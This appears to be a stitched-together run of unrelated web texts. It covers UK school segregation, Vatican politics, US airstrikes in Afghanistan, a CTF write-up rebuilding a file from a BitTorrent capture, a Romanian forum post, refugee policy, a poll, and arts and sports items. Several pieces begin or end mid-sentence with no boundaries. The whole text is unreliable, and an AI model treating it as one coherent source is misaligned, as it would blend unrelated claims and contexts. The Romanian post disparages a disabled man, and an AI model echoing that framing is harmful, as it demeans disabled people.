But he said this tendency towards separation had a negative effect, not preparing children for a diverse society.
Mr Phillips said the success of schools in London showed how much children from all backgrounds could benefit from schools with a high proportion of ethnic minority pupils.
Prof Burgess said that although schools "in some places remain highly segregated", the longer-term trend is that such separation is "generally declining or is stable".
But Dr Norrie said: "While we couldn't expect these communities to spread out on a truly equal scale, we would hope for a much greater level of integration for students at the start of their education."
The analysis of ethnicity and education shows that, allowing for socio-economic factors, white British pupils are the lowest achieving group at GCSE level.
The study also shows that ethnic minority pupils are more likely to have private tutors, more likely to attend private school and go to a Russell Group university than their white counterparts.
Last week, Ofsted chief Sir Michael Wilshaw said that there needed to be more good and outstanding schools available to white, working-class communities.
Sir Michael warned that white low-income families can feel "abandoned" and "forgotten" by the school system.'Behind The Scenes' At The Vatican: The Politics Of Picking A New Pope
The Vatican Diaries A Behind-the-Scenes Look at the Power, Personalities and Politics at the Heart of the Catholic Church by John Thavis Hardcover, 321 pages | purchase close overlay Buy Featured Book Your purchase helps support NPR programming. How?
The years of his papacy had seen "moments of joy and light, but also difficult moments," Pope Benedict XVI told some 100,000 spectators gathered in St. Peter's Square Wednesday during his final address. "There have been times when the seas were rough and the wind against us... and the Lord seemed to sleep."
As Benedict becomes the first pontiff to resign in nearly 600 years and cardinals gather in Rome to choose his successor, a series of scandals — child sex abuse, mismanagement at the Vatican bank, the leaking of secret church documents — has left the Vatican reeling.
"It's amazing. It's unprecedented," veteran Vatican reporter John Thavis tells Fresh Air's Dave Davies. "I would say most people around the Vatican, including journalists, are a little bit disoriented. Number one, the pope shocked them when he announced he was retiring.... Number two, there have been new questions every day, and answers haven't really been forthcoming very quickly. It almost seems as if Benedict made his decision without necessarily scripting the entire process in advance and leaving his Vatican aides to scramble for answers.... [E]veryone here believes it's a historic-making moment, and no one here really knows what's going to happen next."
Thavis, who covered the Vatican for nearly 30 years for the Catholic News Service, is the author of the newly published The Vatican Diaries. The book is a collection of accounts of doctrinal disputes, power struggles and personal scandals, in which everyone from diplomats to ushers share information and gossip.
"[D]ecision-making at the Vatican is less organized, is less hierarchical," Thavis says. "It's much more based on individual personalities than the public imagines."
Interview Highlights
|
proactively target extremist groups that threaten the stability and security of the Afghan people,” the report said.
Overall, the US had conducted a total of 841 sorties were at least one bomb was dropped on targets across Afghanistan, up from the 615 carried out last year.
The data only included airstrikes carried out by aircraft operating under the command of Combined Forces Air Component Commander, an indication that the actual number of the bombs dropped could be higher.
In a clear U-turn from his campaign pledges to end the now 16-year occupation of Afghanistan, Trump said in August that his views had changed since entering the White House and that he would continue the military intervention “as long as we see determination and progress” in the South Asian country.
As a first step, six F-16 Fighting Falcon aircraft were added to Bagram Air Base while more B-52 bombardment missions were dedicated to Afghanistan, the report noted.
The Trump administration is also planning to deploy roughly 3,000 more troops to Afghanistan. The United States already has about 8,400 troops in the country alongside another 5,000 from NATO forces.
The new US ambassador to the military alliance said earlier this month that Washington was going to ask NATO to contribute about 1,000 extra troops to help in the battle.
US Defense Secretary James Mattis told the House Armed Services Committee last week that the Trump administration’s strategy in Afghanistan could be summed up in the acronym “R4+S,” which stands for “regionalize, realign, reinforce, reconcile and sustain.”
He also said that the Pentagon had replaced previous rules of engagement with more aggressive ones, arguing that the old ones “did not allow us to employ the airpower fully.”via eurweb.com
Lezley McSpadden, the mother of Michael Brown, recently walked across the stage in Missouri to receive her high school diploma.What’s also interesting is that McSpadden earned her diploma alongside her daughter, Daysa Brown, thanks to the local school district’s adult high school education program, which allowed her to attend classes on weekday afternoons.
McSpadden dropped out of Ladue Horton Watkins High School after giving birth to her son Michael in her junior year. After creating the We Love Our Sons & Daughters Foundation, she decided to go back and get her diploma. The initiative, made in her late son’s honor, focuses on advocating for justice and advancing education.
Specifically, McSpadden got encouragement to go back and finish high school from Art McCoy, a Missouri school district superintendent after he learned she never completed school. McSpadden worked on getting her diploma at Jennings High School in Jennings, Missouri along with her daughter, Deja Brown. However, their schedules didn’t overlap. “She would just go to afternoon class, so we never really interacted at school or in class or anything,” Brown told the St. Louis American. “But I did help her on homework. Like, math, she was like, ‘I’m stuck! I don’t understand this!’ so I would try to help her the best I could, because it was geometry, which I took already.”
The mother-daughter duo crossed the stage on the same day at Chaifetz Arena on May 26. It’s also worth noting that McSpadden, who presented her daughter’s diploma, is the first graduate of the district’s adult program.
Deja Brown, who will attend Tennessee State University in the fall, told the St.Louis American that she’s proud of herself and her mother for finishing school. “I know it’s something that she’s wanted to do,” she said. “She’s done it and she’s worked really hard, and she’s so excited and I’m excited for her!”
Meanwhile, Benjamin Crump, the family lawyer, told the Post-Dispatch that the ceremony was especially meaningful considering the trauma the family has experienced. He said McSpadden told him she “has a purpose now to try to uphold the legacy of her son.”
Michael Brown was 18 years old when he was shot six times by white officer Darren Wilson in August 2014 in Ferguson, Missouri. His killing sparked days of protest in the predominantly black city. The unrest garnered national attention and Black Lives Matter protests spread throughout the country.
To read full article, go to: Lezley McSpadden, Michael Brown’s Mom, Just Got Her High School DiplomaThe Intern Abuser is a remote robotic apparatus that allows visitors from across the globe to physically and mentally abuse our intern from the comfort of their own office or home using the sadistic power of their personal internet browser.
Sign up for the live event on October 11th and 12th and look forward to your turn to agitate our hapless apprentice through plethora of amusing irritants. When your turn comes-up, you will have 30 seconds to take aim at a series of targets using a foam dart gun. You get three shots at hitting a target that will trigger a specific abusive device.
If you don't have the heart to participate, you can simply tune-in to watch the action and have a giggle at the intern's expense. If suckling on our intern's pain pokes your guilt reflex, we’ve provided the intern with a PayPal account for you to donate to their college fund."It turns out that robots, like humans, are cheap and do not like paying for their movies and music. We were able to intercept some torrent downloads but are unsure what the file being downloaded was. Can you figure it out?"
We get a pcap file with the P2P part of a BitTorrent exchange between 2 peers.
Hopefully Wireshark has a fairly complete BitTorrent dissector which we will use to get the "pieces" of data.
According to the protocol specification, data is transferred in pieces that have an index and an offset. We need to extract each pieces with its index and offset and a Python script will reorder them.
tshark -r torrent.pcap -R 'bittorrent.piece.data' -T fields -e bittorrent.piece.index -e bittorrent.piece.begin -e bittorrent.piece.data -E separator=\| > torrents.dump
#!/usr/bin/python
import sys
import struct
if len(sys.argv) ==2:
print "Parsing "+str(sys.argv[1])
else:
print "Usage: python "+sys.argv[0]+" file.pcap"
exit(10)
pcap=file(sys.argv[1],"r")
out=file(sys.argv[1]+".hex","w")
data = {}
for p in pcap:
a = p.split("|")
index = int(a[0], 16)
offset = int(a[1], 16)
print 'Index', index, 'Offset', offset
order = "%08x" % index + "_" + "%08x" % offset
data[order] = a[2].split(":")
for key in sorted(data.iterkeys()):
print key + "
"
for b in data[key]:
out.write(chr(int(b,16)))
pcap.close()
out.close()
$ file torrents.dump.hex
torrents.dump.hex: bzip2 compressed data, block size = 900k
$ mkdir key ; cd key ; tar xvfj../torrents.dump.hex
key.mp3
key.txt
$ cat key.txt
t0renz0_v0n_m4tt3rh0rn
The key is: t0renz0_v0n_m4tt3rh0rn
PS: notice the useless MP3 file just to make the archive and so the bittorrent transfer bigger 😉Summary: A new study reports learning and performing music could be of benefit to those who have experienced traumatic events.
Source: Taylor and Francis.
Understanding the factors that impact on brain development and brain function in musicians can empower music teachers to unlock each learner’s full potential, a new study published in Muziki: Journal of Music Research in Africa suggests.
Inette Swart of North-West University, South Africa shows how incorporating training in psychology into the music education system could be beneficial, particularly to those learners who have experienced traumatic events.
Neuroscientific research indicates that the right hemisphere of the brain, where the earliest-forming parts of the developing self and identity originate, appears to contribute most to the emotional meaning of music. The highly impressionable and malleable right-brain is also where early traumatic experiences are imprinted.
Thus, teachers should consider the role of music in a learner’s life and use this to their advantage in the teaching strategy, Swart says. For learners who have suffered significant trauma, it is particularly important to understand what role music fulfils in their lives, what best motivates them, and how their goals and reasons for participation in music might differ from a teacher’s expectations of them.
While memory for music is acquired and assessed through many different neural pathways, the processing of information involves brain structures – most notably, the amygdala and hippocampus – that are also involved in processing memories of fear. Neurons that fire together form connections and are likely to be retrieved together once an associated memory is recalled. This process is important in the memorization of music and also has implications for consciously separating the experience of fear and fear memories from the experience of learning and performing music.
To reduce the chances of debilitating stage fright patterns becoming established in previously traumatized learners, music performance should be associated with the anticipation of positive experience, Swart suggests. Such learners may benefit from practicing the art of performing in environments where they feel relatively safe, before playing at more important concerts or competitions.
Inette Swart said: “Music has great potential for providing emotionally and relationally reparative experiences, particularly, but not exclusively, to previously disadvantaged learners. Facilitating neural change takes discipline, while intersubjective models of human behavior, such as those proposed by neuropsychoanalyst Dr. Allan Schore, have shown clearly that human actions and development do not occur in isolation. It is time that this discipline becomes a shared societal responsibility.”
About this neuroscience and music research article
Source: Taylor and Francis
Image Source: NeuroscienceNews.com image is adapted from the Taylor and Francis press release.
Original Research: Abstract for “New developments in neuroscience can benefit the learning and performance of music” by Inette Swart in Muziki. Published online September 28 2016 doi:10.1080/18125980.2016.1182386
Cite This NeuroscienceNews.com Article
MLA
APA
Chicago Taylor and Francis. “How Neuroscience Could Benefit From the Learning and Performance of Music.” NeuroscienceNews. NeuroscienceNews, 14 October 2016.
<http://neurosciencenews.com/neuroscience-music-learning-performance-5301/>. Taylor and Francis. (2016, October 14). How Neuroscience Could Benefit From the Learning and Performance of Music. NeuroscienceNews. Retrieved October 14, 2016 from http://neurosciencenews.com/neuroscience-music-learning-performance-5301/ Taylor and Francis. “How Neuroscience Could Benefit From the Learning and Performance of Music.” http://neurosciencenews.com/neuroscience-music-learning-performance-5301/ (accessed October 14, 2016).
Abstract
New developments in neuroscience can benefit the learning and performance of music
As advancements in neuroscience increasingly illuminate the traditional understanding of the human mind, many of the new insights are also of relevance to musicians as well as to music pedagogy. Especially the greater understanding of how intersubjective processes are integral to the development of the right brain has shown how, according to the neuropsychoanalyst Allan Schore, right-brain models can bridge the fields of psychiatry, music and trauma. Following a short introduction, the article discusses the development of ego boundaries and their relevance to young aspiring musicians as well as the close relation to self-esteem. This is followed by a short explanation of the psychodynamic processes underlying interpersonal interaction and relation. Right-brain function in development and trauma is discussed and its links to music are highlighted; the issue of fear and learned helplessness in musicians is also considered briefly. A discussion on the impact of fear on musicians’ memory follows. The paper concludes by showing that, while brain pathology can be associated with creativity, creative processes in and of themselves are not pathological. Throughout, special reference is made to aspects that have particular relevance to previously disadvantaged music learners.
“New developments in neuroscience can benefit the learning and performance of music” by Inette Swart in Muziki. Published online September 28 2016 doi:10.1080/18125980.2016.1182386
Feel free to share this Neuroscience News.Texas has a long and proud history as the leading state for refugee relocation.
Indeed, the state’s ethnic diversity is the result of its willingness to welcome people from all over the world.
But this week Texas tried to change that for the worse. Gov. Greg Abbott took yet another step to halt the resettlement of Syrian refugees by threatening to withdraw from the federal refugee-resettlement program by the end of the month.
The threat to withdraw is contingent on the federal Office of Refugee Resettlement’s failure to “unconditionally approve” the state’s annual plan before the Sept. 30 deadline.
Texas’ plan would “require national security officials to ensure that refugees do not pose a security threat to Texas,” the governor’s office said in a statement.
Articulating a fear shared by many Americans, Abbott warned that the federal refugee settlement program “is riddled with serious problems that pose a threat to our nation,” and that law enforcement and intelligence agencies have admitted an inability “to fully screen refugees from terrorist-based nations.”
But if the state ceded its administrative role in the resettlement program, that would not prevent refugees from entering Texas.
The federal government could work through nonprofit agencies and faith-based groups, passing federal funds along to those organizations instead.
This raises another concern.
In addition to Texas being viewed as inhospitable to refugees, the loss of federal grant dollars could have a serious impact on the ability of local agencies to provide public health services.
At the Tarrant County Commissioners Court meeting last week, the county health department briefed commissioners on the potential impact of loss of the Refugee Health Program.
A $2.2 million federal grant to the local agency enables the county to provide immunizations, health screenings and treatment to refugees and asylees.
Addressing the court, health director Veerinder Taneja did not hedge. Losing the program, he said, would mean a “significant adverse impact for public health.”
Withdrawing from the federal program would not achieve a goal of preventing refugee resettlement in Texas, and might result in significant public health consequences.
Abbott would do well to reconsider.- omul are o pensie de hadicap si cam atat, poate si o pensie de urmas, sa zicem un total de 550 lei pe luna;
- nu se poate deplasa decat prin casa ( afara iese cu greu si doar insotit sau nu iese mai deloc din casa );
- omul nu te poate ajuta cu nimic in ceea ce priveste treburile casei, poate doar la mancare sa iti taie o ceapa sau un zarzavat;
- este mic de inaltime, este urat;
- avand in vedere handicapul lui este exclus sa te scoata in lume, sa te plimbe si etc;
- omul nu a avut in viata lui o relatie cu vreo femeie desi e trecut de 30 de ani.
Practic omul nu iti poate oferi absolut nimic, ba mai are si nevoie de ajutor in ce priveste curatenia, mancarea etc. Iti poate oferi doar locul de domiciliu, presupunand ca el are un apartament al lui.
Avand in vedere aceste aspecte, de ce ai sta alaturi de un om cu asemenea probleme cand ti-ai putea gasi un om sanatos, inalt, frumos, poate si plin de bani si sa traiesti ca o regina? Vreau sa vad raspunsurile voastre, ale fetelor.
Am zis sa fac acest topic pe aria fetelor in speranta ca vor raspunde cat mai multe. Doresc raspunsuri sincere. Asadar, de ce ai sta tu ca fata/femeie alaturi de un baiat/barbat cu un handicap fizic avand in vedere urmatoarele:- omul are o pensie de hadicap si cam atat, poate si o pensie de urmas, sa zicem un total de 550 lei pe luna;- nu se poate deplasa decat prin casa ( afara iese cu greu si doar insotit sau nu iese mai deloc din casa );- omul nu te poate ajuta cu nimic in ceea ce priveste treburile casei, poate doar la mancare sa iti taie o ceapa sau un zarzavat;- este mic de inaltime, este urat;- avand in vedere handicapul lui este exclus sa te scoata in lume, sa te plimbe si etc;- omul nu a avut in viata lui o relatie cu vreo femeie desi e trecut de 30 de ani.Practic omul nu iti poate oferi absolut nimic, ba mai are si nevoie de ajutor in ce priveste curatenia, mancarea etc. Iti poate oferi doar locul de domiciliu, presupunand ca el are un apartament al lui.Avand in vedere aceste aspecte, de ce ai sta alaturi de un om cu asemenea probleme cand ti-ai putea gasi un om sanatos, inalt, frumos, poate si plin de bani si sa traiesti ca o regina? Vreau sa vad raspunsurile voastre, ale fetelor. Edited by gerbil, 24 August 2012 - 19:40.Further adding to the stereotype that Republicans don’t give a damn about anyone who’s not a white Christian, Oklahoma Rep. John Bennett refused to meet with Muslim constituents this week unless they answered a questionnaire that literally included the question, “Do you beat your wife?”
Another question is, “I have heard that, according to accepted Islamic sources, Mohammed, at age of 49, married a 6-year-old girl, and that he had sex with her when he was 52 and she was only 9 years old. Is that really true?” “I was distraught when [the students] showed me the questionnaire,” [executive director of Council on American–Islamic Relations (CAIR) Oklahoma Adam] Soltani told BuzzFeed News. “I wasn’t completely surprised by it because obviously we have been challenging Bennett’s hate rhetoric for many years.”
Besides the fact that the questions were things Bennett could have Googled if he actually cared about the answers, they were also completely irrelevant. What people believe about their faith should have no bearing on whether they can have a meeting with their elected representative. Furthermore, even if they held certain disturbing beliefs, it’s not like they were lobbying to turn their beliefs into law.
That’s something only Christians do.
Bennett has a history of treating all Muslims as if they’re radical Muslims, even saying there’s “no difference between moderate Islam and extreme Islam” and that the religion is “a cancer in our nation that needs to be cut out.”
Even if you have plenty of criticisms of Islam, as many atheists do, this should be a no-brainer for any elected official. Bennett would never ask Catholics if they disavow pedophile priests before meeting with them, and that’s the same reason Muslims shouldn’t have to denounce radicals in order to secure a meeting about unrelated issues.
And if Bennett were truly concerned with saving American lives, then he ought to acknowledge that more people die from firearms than radical Islam. A lot more. But facts rarely matter to bigots.
(Screenshot via YouTube. Thanks to Jaynee for the link)Voters Not Convinced Obama Wasn’t In On Trump Spying
Voters are split on whether President Barack Obama or his inner circle were aware that U.S. intelligence agencies were spying on Donald Trump’s campaign, but they don’t believe Obama officials leaked names picked up in the surveillance efforts to the media.
A new Rasmussen Reports national telephone and online survey finds that 47% of Likely U.S. Voters think it’s at least somewhat likely Obama or his top aides were aware that the nation's intelligence agencies were spying on the Trump campaign and the Trump transition team, including 32% who believe it’s Very Likely. But 42% don’t think it’s likely, with 27% who say it’s Not at All Likely. (To see survey question wording, click here.)
A third of voters (33%) say senior members of the Obama administration spread secretly obtained information about the incoming president and his team to members of the media. Roughly half (48%) of voters, however, disagree with that assertion. Another 19% are not sure.
There is a strong partisan gap on both questions. Among Republican voters, 73% say Obama and his inner circle were aware of the spying on Trump officials, and 59% of those voters believe secretly obtained information was leaked to the press. Most Democrats disagree with both of those statements. Voters not affiliated with either political party are more evenly divided on both questions.
Several news agencies reported last week that the former national security adviser to Obama, Susan Rice, ordered U.S. spy agencies to produce spreadsheets revealing Trump associates picked up in surveillance of foreign officials and then leaked the names. Rice denied those allegations in an interview with MSNBC.
(Want a free daily e-mail update? If it's in the news, it's in our polls). Rasmussen Reports updates are also available on Twitter or Facebook.
The national survey of 1,000 Likely U.S. Voters was conducted on April 5-6, 2017 by Rasmussen Reports. The margin of sampling error is +/- 3 percentage points with a 95% level of confidence. Fieldwork for all Rasmussen Reports surveys is conducted by Pulse Opinion Research, LLC. See methodology.
Leaking the names of any Americans revealed in surveillance efforts could be a crime, but just 27% think it's at least somewhat likely criminal charges will be brought against any government employees for spreading secretly obtained information about Trump and his team to the media. Sixty-six percent (66%) say it’s not likely criminal charges will be filed against government employees. These figures include 11% who say it’s Very Likely and 28% who say it’s Not at All Likely that charges will be filed.
Most voters across the partisan spectrum agree that charges won’t be filed against government employees for the alleged leaks. In fact, most voters across the demographic board agree with that assessment.
Half of white voters (50%) and 46% of other minority voters think it’s likely Obama and his top aides were aware of U.S. intelligence agencies spying on the Trump campaign and his transition team, a view shared by just 32% of blacks.
Seventy-one percent (71%) of black voters think senior members of the Obama administration did not leak secretly obtained information. White voters are more evenly divided: 44% say no, while 37% say yes.
Men feel slightly more strongly than women that it’s likely Obama and his top aides were aware of the spying. Men are also a bit more likely to think senior members of the administration deliberately spread secretly obtained information about Trump and his team.
Those voters who feel it’s likely Obama and his officials had knowledge of spying on Trump officials also believe the information obtained in the exchanges with Trump and foreign officials was leaked to the media. Those who don’t think it’s likely the Obama team was aware of the spying also don’t think that information was given to the press.
A majority (53%) of all voters don’t believe it’s likely that the Obama administration tapped telephones in Trump Tower during last year’s presidential campaign, but almost as many (44%) think it’s likely the phones were bugged.
Forty-seven (47%) believe America’s intelligence agencies have their own political agenda. Thirty-nine percent (39%) disagree and think they perform impartially. Still, most voters give intelligence agencies positive marks for their overall performance.
Following numerous leaks earlier this year of secret information intended to embarrass President Trump to the news media, most voters said the leakers should be punished.
A plurality of voters (45%) think that when media outlets release classified information, they are hurting national security, but that figure is down significantly from when Rasmussen Reports first asked the question in July 2010.
Additional information from this survey and a full demographic breakdown are available to Platinum Members only.
Please sign up for the Rasmussen Reports daily e-mail update (it’s free) or follow us on Twitter or Facebook. Let us keep you up to date with the latest public opinion news.
The national survey of 1,000 Likely U.S. Voters was conducted on April 5-6, 2017 by Rasmussen Reports. The margin of sampling error is +/- 3 percentage points with a 95% level of confidence. Fieldwork for all Rasmussen Reports surveys is conducted by Pulse Opinion Research, LLC. See methodology.Along with other socialist groups the WSM has launched the 1% Network, a coalition that aims to highlight the gross inequality in Irish society where the richest 1% of the population own 34% of the wealth. The network will be carrying out a number of activities in the run up to the budget including a walking tour of the private mansions, corporate headquarters, secret meeting spots and private banks on October 9th.
1% Network Coalition formed
Did you know that just 1% of the population are estimated to own at least 34% of the wealth of the country? The 1% network is a coalition of groups opposed to this inequality.
We have all heard of the ‘golden circle’. We all know that there is one law for the rich and another law for the rest of us.
The 1% network is a coalition of socialist groups which has come together to oppose the cutback agenda of the government and to promote a socialist alternative to the current socio-economic system. The name of the coalition was chosen to highlight the fact that just 1% of the population control in excess of 34% of the wealth of the nation. Organisations within the coalition include:
éirígí
Irish Socialist Network
Revolutionary Anarcha-Feminist Group
Seomra Spraoi
Workers Solidarity Movement
We are planning a number of events including a walking tour of the houses, secret meeting places and private banks where the 1% are to be found.Andrew Scott has discussed the role of Moriarty in Sherlock's third series finale.
In Steven Moffat's 'His Last Vow', a straitjacketed Moriarty appeared to a dying Sherlock (Benedict Cumberbatch) in a padded room within his "mind palace".
"That was a really interesting one," Scott told Digital Spy of the hallucinatory scene. "It was part of an extraordinary sequence that I thought was really beautifully directed, and read fantastically well on the page.
"It was a case of removing myself a little bit from Moriarty, because it was in Sherlock's mind palace. So it allowed me to go to real extremes with the character, to see what he would be like were he completely unleashed.
"I like being able to see Moriarty through Sherlock's eyes, it's such an interesting angle on the character. It's an insight into the mind of the hero, as much as anything, so it was good to be able to play a different note."
Scott went on to discuss the show's acknowledgement of its passionate online fan base, which notably inspired a fantasy sequence in which Sherlock and Moriarty kiss.
"I like the fact that, in a playful way, the third series included [the fans]," Scott mused. "For the most part, they're very enthusiastic and respectful people, and the support has just been extraordinary."
Scott also confirmed that he knows the truth behind series three's climactic twist, in which Moriarty appears to announce his return from the grave via a video message broadcast across every screen in the UK.
"I do know the answer to that question, yes, and I'm not going to tell you!"
Moffat recently assured fans that the ending was not "a last-minute whim".
Sherlock series 4 predictions: What's next for Sherlock and John?
Sherlock: Steven Moffat explains Moriarty post-credits scene
Andrew Scott's new film The Stag is out in UK cinemas tomorrow (March 14). Watch a trailer below:You’ll want to be downtown on Friday night, September 4. There’s a lot going on.
Art Walk—Always a treat on the first Friday of the month, September’s participants include Aslan Brewing, Opus Performing Arts, Brigid Collins Family Support Center, and many more.
Light Show on the Flatiron—The Flatiron Building at 10 Prospect St. will become the permanent canvas for a captivating array of light and sound. The projections will reflect the changing seasons, community events, and whatever captures our collective imagination. The show starts at 9:30p, and free cookies and hot chocolate will be available too!
Commercial Street Night Market—Only one word fully captures the Commercial Street Plaza: potential. This fall, Bellingham will see it realized as the Night Market springs to life every friday night with an exciting array of vendors.
Hatch Business Incubator—Hopefully, 1302 Commercial St. will become the first address of many successful future Bellingham-based businesses. The Downtown Bellingham Partnership has outfitted the space with everything an aspiring entrepreneur could want, and on September 4, will celebrate its grand opening.
Since we’ll all be downtown, we thought it would be a good opportunity for us to learn each other’s names. So, Bellingham Wins will host the first ever Downtown Nametag Day!
The idea is simple—if we all wear nametags for a day, we are all bound to make a new friend. We got the idea from Scott Ginsberg, and recently tried it out at the Faithlife offices. It was such a huge hit, we thought we’d roll it out across all of downtown. So, on September 4 be on the lookout for a stack of nametags in many downtown shops & restaurants, including many of the Art Walk venues.To that end, he removed the NFC from the Opal card and encased it in a bio-compatible plastic, resulting in an implant about 10 by 6 millimeters in size. The implantation procedure itself was undertaken by a piercing expert and took about an hour.
Not satisfied with the (in)convenience of carrying an Opal card, Meow-Meow decided to have the card’s near-field communication (NFC) chip implanted just beneath the skin on the side of his left hand.
When train cards were invented, the idea was to make public transportation less of a hassle. Instead of taking out coins, you’d just access the train platform with a swipe of a pre-loaded card. However, cards can be misplaced, and that’s a problem Aussie biohacker Meow-Ludo Disco Gamma Meow-Meow — and yes, that’s his legal name — was determined to never face again.
Meow-Meow urges anyone interested in following in his technological footsteps to be sure to do their research and be aware that the implant is considered a breach of Opal’s terms of service. However, he does seem satisfied with his body’s new addition. “It gives me an ability that not everyone else has, so if someone stole my wallet, I could still get home,” he told ABC News.
Our Cyborg Future
Implanted devices are, as Meow-Meow pointed out to ABC News, not as rare as some may think. Usually, they serve some medical purpose, such as chips for prosthetics or pacemakers. Meow-Meow himself has two other NFC implants aside from the Opal chip, including one he uses to store documents, like an implanted hard drive.
This mirrors a number of science fiction flicks, which feature implanted devices that serve as information storage, identity trackers, and health monitors, among other things. It certainly seems like the next step into the future, as numerous companies have been working on developing technologies that meld human beings with machines.
As chip implants become more advanced, they will undoubtedly become more common in the future, but for now, this Opal implant is at least making Meow-Meow’s daily commute less of a hassle.David Henry Hwang Theater at the Union Center for the Arts
From the lyricist of Jesus Christ Superstar and the composers of Mamma Mia!, CHESS the musical involves a romantic triangle between two top chess players - an American and a Russian - and a woman who manages one and falls in love with the other.
All of this takes place within the context of the Cold War, as both countries vie for international chess victories for propaganda purposes. CHESS may be best known for its 1980s pop-rock soundtrack that Time Magazine called “one of the best rock scores ever produced,” featuring hits such as “One Night in Bangkok,” “I Know Him So Well,” “Anthem” and more.
When:
Preview performances: Thurs. May 9 – Sat. May 11 at 8pm; Sun. May 12 at 2pm
Opening Night: Wednesday, May 15, 2013
Regular performances: May 16-June 9, 2013.
Wednesdays-Saturdays at 8pm; Sundays at 2pm.
Special Pay-What-You-Can performance on Thursday, May 16, 2013
Southern California Edison Community Night: Wednesday, May 22, 2013
Ticket Information:
$26 - Special preview performances/$21 for students with ID on Thurs. May 9 – Sat. May 11; Sun. May 12
Opening Night Gala and post-show reception on Wednesday, May 15, 2013 – Please call theatre for opening ticket availability and special event pricing.
$51-$56 - General Admission
Special Pay-What-You-Can performance on Thursday, May 16, 2013
Senior and students $5 off. Group discounts are available. Please call (213) 625-7000 x16 for more information.
Dates, prices, and details are subject to change.
Where:
East West Players
David Henry Hwang Theater at the Union Center for the Arts
120 Judge John Aiso Street
Los Angeles, CA 90012
For more information, visit www.eastwestplayers.org or call 213-625-7000.
About the sponsor:
Established in 1965, East West Players has been called "the nation's pre-eminent Asian American theater troupe" (New York Times 12/16/01) for its award-winning productions blending Eastern and Western movement, costumes, language, and music. EWP has premiered over 100 plays and musicals about the Asian Pacific American experience and has held over 1,000 readings and workshops. East West Players emphasizes building bridges between East and West, and measures an audience of 56% Asians and 44% non-Asian attendance.A student of mine has embarked on a project to uncover fictional and non-fictional African Heroes. The video below is my contribution to her laudable project. This is followed by summaries of the life stories of my heroes figures.
Queen Amina of Zaria: She ruled Zaria (Zazzau) from about 1549. She was a warrior Queen heading up an army of 20,000 men. According to the Kano Chronicle, Amina conquered as far as Nupe and Kwarafa, ruling for 34 years. Amina is also credited as the architect of the strong earthen walls around the city, which became the prototype for the fortifications used in all Hausa states. She built many of these fortifications, later known as ganuwar Amina or ‘Amina’s walls’, around various conquered cities. Many of these walls remain in existence to this day. She is recorded to have died in 1610. There are different accounts of her death. It is suggested by some that Amina committed suicide during a military campaign at Dekina in the present Kogi state and was buried in Idah. Others believe that she died during a military campaign at Atagara near Bida in present day Niger state. It is believed that the TV series, ‘Xena: Warrior Princess‘ is based on Amina’s life.
Ȩfúnşetán Aníwúrà: Ȩfúnşetán was born around 1790 in Egbaland. She moved to Ibadan, a city that was founded in 1829 as a war camp. Ȩfúnşetán eventually became the Iyalode of Ibadan. She was the first woman to set up a flourishing agrarian economy that employed no fewer than 2000 men and women. Around 1850, worried by increasing conflict in the Yorubaland, she made her workers take up infantry military training. Consequently, she had her own private army. She was said to have had personal military training in urban and guerrilla warfare. Prof Akintoye wrote “It is not unlikely that Ȩfúnşetán was the richest person in the whole of the Yoruba interior in about the late 1870s.” She was definitely rich AND powerful.
Map of Yoruba Empire
However, her only daughter died in 1860 during child birth. After this, Ȩfúnşetán became extremely depressed. This has an extremely negative effect on her interpersonal relationships and decisions. She ordered arbitrary executions of her staff and withdrew support for Latoosa, the Aare Ona Kakanfo (the Warlord) of Ibadan. Latoosa responded by calling for her to be killed. She was killed in 1874. It is unclear whether she died by committing suicide when Latoosa’s forces surrounded her house or – according to the Reverend Samuel Johnson – she was killed by assassins hired by Kumuyilo, her adopted son. Ȩfúnşetán is immortalised in film, most especially in a play written by Professor Akinwunmi Isola.
Moremi Ajasoro: Moremi lived in the 12th century. She was from Offa. She married Oranmiyan and reigned as Queen in Ile-Ife. During this time, Ife was persistently raided by their neighbours, (possibly the Igbohos) who had dressed themselves to look like demons. The people of Ife were often taken into captivity. To discover the secret of the raiders, she allowed herself to be captured by them. She lived with them, integrated with them, learnt their secrets and then escaped back to Ile-Ife. Apparently, the raiding neighbours dressed themselves in raffia; this gave them their otherworldly appearance. The solution was to attack them armed with flaming torches, as raffia is highly flammable. This repelled the |
incredible team like the one at TCM is a dream come true for our company. FilmStruck will be the exclusive streaming home of the Criterion Collection as of November 11, when our library will be leaving Hulu. The monthly cost of FilmStruck and the Criterion Channel together will be $10.99, but you can sign up for the FilmStruck newsletter to receive a free two-week trial offer when the services go live.
We have talked (and debated) for years about the best way to bring some sort of subscription plan to our viewers, and with FilmStruck and the Criterion Channel, we believe we’ve finally found it. The first week on the channel, we’re bringing back the out-of-print commentary from The Silence of the Lambs. Catch a double feature on Friday nights. Find a short with a feature on Tuesdays. The possibilities are endless, and we’ve just begun to explore them.
It’s been thirty-three years since Criterion published its first special edition laserdisc and nearly twenty since the dawn of DVD. The launch of FilmStruck and the Criterion Channel marks another exciting beginning for us. We are as committed as ever to publishing the world’s greatest films in definitive Blu-ray and DVD editions, but we think these new services are going to add a whole new dimension to the Criterion experience, and we hope you’ll give them a try.Philadelphia fans have been setting sky-high expectations for Sam Morin from the moment they pieced together the young defenseman’s connection to former Flyers great Chris Pronger. But really, other than the fact he’s very big, has a bit of a mean streak, and that every young defenseman is the next Chris Pronger, what connection does Morin share with Pronger?
When the aforementioned Pronger went down in 2011, the Flyers were desperate for a number-one defenseman. After some trades and big efforts in free agency didn’t work out, the team (finally) shifted its strategy on defense towards trying to build a defense through the draft. In some ways, Morin — the team’s first-round pick in 2013 — was the O.G. of the prospect pool’s group of defensemen, as his selection was the one that really got that effort going.
No. 9: Samuel Morin
Position: D
Age: 22 (7/12/1995)
Acquired Via: 2013 NHL Draft -- Round 1, Pick 11
2016-17 League/Team/Statistics: Lehigh Valley (AHL) - 3 G, 13 A in 74 GP
Nationality: Canadian
Ranking in BSH Winter 2017 25 Under 25: 9
With training camp getting underway in about a month, Morin will look to snag one of the two open NHL positions on the Flyers’ blue line. He’ll be competing for a spot there with Robert Hagg, who (like Morin) made his NHL debut last April, and Travis Sanheim, who just completed his first full season in the AHL.
With the Phantoms last season, Morin’s most frequent on-ice partner was Sanheim, with whom he spent around 44 percent of his ice time (via prospect-stats.com), followed by Hagg, who he was with on-ice around 25 percent of the time. Morin and Sanheim’s play styles mesh well, because Morin — more of a stay-at-home defenseman — can sit back while Sanheim, a-puck mover, can take charge of the play.
